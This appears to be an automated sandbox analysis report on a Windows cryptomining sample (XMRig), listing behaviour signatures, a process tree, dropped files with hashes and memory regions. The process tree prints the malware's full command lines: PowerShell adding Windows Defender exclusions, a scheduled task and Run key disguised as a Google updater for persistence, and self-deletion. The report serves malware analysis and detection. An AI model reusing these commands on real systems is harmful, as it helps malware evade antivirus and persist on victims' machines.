Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    454s
  • max time network
    1784s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
  • Size 2.0MB
  • Sample240123-x59d7agbd6
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1188
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1800
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1864
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2676
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2480
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:2548
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2468
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:1264
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2136
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:548
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
            3⤵
            • Creates scheduled task(s)
            PID:1620
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2228
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          PID:2988
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:2032
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe qtdiqnkejoz
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          PID:2952
      • C:\Windows\System32\choice.exe
        choice /C Y /N /D Y /T 3
        1⤵
          PID:2616
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {3B8E8D5C-5477-483A-818D-33673A395CC9} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1648
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2608
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic PATH Win32_VideoController GET Name, VideoProcessor
          1⤵
          • Detects videocard installed
          • Modifies data under HKEY_USERS
          • Suspicious use of AdjustPrivilegeToken
          PID:2024

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 55KB
              • SHA256 ff9ed0418abaf95becaa584d8e045c101fcb463c59c6d2f6ca9ae96068f707a5
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 19KB
              • SHA256 6f15b7c20d05fbeeb8cc5f2b25c08c0ab56ce6d5b4ea6e4dfea4e331c1308795
              • MD5 SHA1 SHA512 SSDEEP

              g.log

              • Path C:\Program Files\Google\Libs\g.log
              • Size 198B
              • SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
              • MD5 SHA1 SHA512

              590aee7bdd69b59b.customDestinations-ms

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
              • Size 7KB
              • SHA256 13e16517cb8addf120c569e59c2be96b3de81fe2249da15aa32d1cddbfe8cad9
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path \Program Files\Google\Chrome\updater.exe
              • Size 74KB
              • SHA256 c91ccba950fe6a8f6a7cea115e656eb678ad054c7fbff64cdfc28b013c17066a
              • MD5 SHA1 SHA512 SSDEEP

              memory/548-50-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

              memory/548-52-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

              memory/548-56-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

              memory/548-55-0x00000000015F0000-0x0000000001670000-memory.dmp

              memory/548-54-0x00000000015F0000-0x0000000001670000-memory.dmp

              memory/548-51-0x00000000015F0000-0x0000000001670000-memory.dmp

              memory/548-53-0x00000000015F0000-0x0000000001670000-memory.dmp

              memory/1800-0-0x000000013FCE0000-0x000000013FEF1000-memory.dmp

              memory/1800-27-0x000000013FCE0000-0x000000013FEF1000-memory.dmp

              memory/1864-5-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

              memory/1864-7-0x000000001B650000-0x000000001B932000-memory.dmp

              memory/1864-8-0x0000000002980000-0x0000000002A00000-memory.dmp

              memory/1864-9-0x0000000002980000-0x0000000002A00000-memory.dmp

              memory/1864-10-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

              memory/1864-12-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

              memory/1864-11-0x0000000002980000-0x0000000002A00000-memory.dmp

              memory/1864-6-0x0000000002980000-0x0000000002A00000-memory.dmp

              memory/2136-43-0x000007FEF4F90000-0x000007FEF592D000-memory.dmp

              memory/2136-46-0x00000000013E0000-0x0000000001460000-memory.dmp

              memory/2136-47-0x00000000013E0000-0x0000000001460000-memory.dmp

              memory/2136-49-0x000007FEF4F90000-0x000007FEF592D000-memory.dmp

              memory/2136-44-0x00000000013E0000-0x0000000001460000-memory.dmp

              memory/2136-48-0x00000000013E0000-0x0000000001460000-memory.dmp

              memory/2136-45-0x000007FEF4F90000-0x000007FEF592D000-memory.dmp

              memory/2228-84-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-102-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-128-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-126-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-124-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-122-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-120-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-118-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-116-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-114-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-65-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-64-0x00000000001F0000-0x0000000000210000-memory.dmp

              memory/2228-112-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-110-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-108-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-106-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-104-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-100-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-67-0x0000000000770000-0x0000000000790000-memory.dmp

              memory/2228-66-0x0000000000750000-0x0000000000770000-memory.dmp

              memory/2228-98-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-69-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-71-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-72-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-73-0x0000000000750000-0x0000000000770000-memory.dmp

              memory/2228-74-0x0000000000770000-0x0000000000790000-memory.dmp

              memory/2228-96-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-76-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-78-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-80-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-82-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-94-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-86-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-88-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-90-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2228-92-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2468-34-0x0000000002AD0000-0x0000000002B50000-memory.dmp

              memory/2468-33-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

              memory/2468-35-0x0000000002AD4000-0x0000000002AD7000-memory.dmp

              memory/2468-37-0x0000000002AD0000-0x0000000002B50000-memory.dmp

              memory/2468-38-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

              memory/2468-36-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

              memory/2608-42-0x000000013F710000-0x000000013F921000-memory.dmp

              memory/2608-63-0x000000013F710000-0x000000013F921000-memory.dmp

              memory/2676-22-0x000007FEF4F90000-0x000007FEF592D000-memory.dmp

              memory/2676-25-0x000007FEF4F90000-0x000007FEF592D000-memory.dmp

              memory/2676-24-0x0000000002A80000-0x0000000002B00000-memory.dmp

              memory/2676-23-0x0000000002A80000-0x0000000002B00000-memory.dmp

              memory/2676-19-0x0000000002030000-0x0000000002038000-memory.dmp

              memory/2676-21-0x0000000002A80000-0x0000000002B00000-memory.dmp

              memory/2676-18-0x000000001B4F0000-0x000000001B7D2000-memory.dmp

              memory/2676-20-0x000007FEF4F90000-0x000007FEF592D000-memory.dmp

              memory/2952-68-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/2952-75-0x0000000140000000-0x0000000140016000-memory.dmp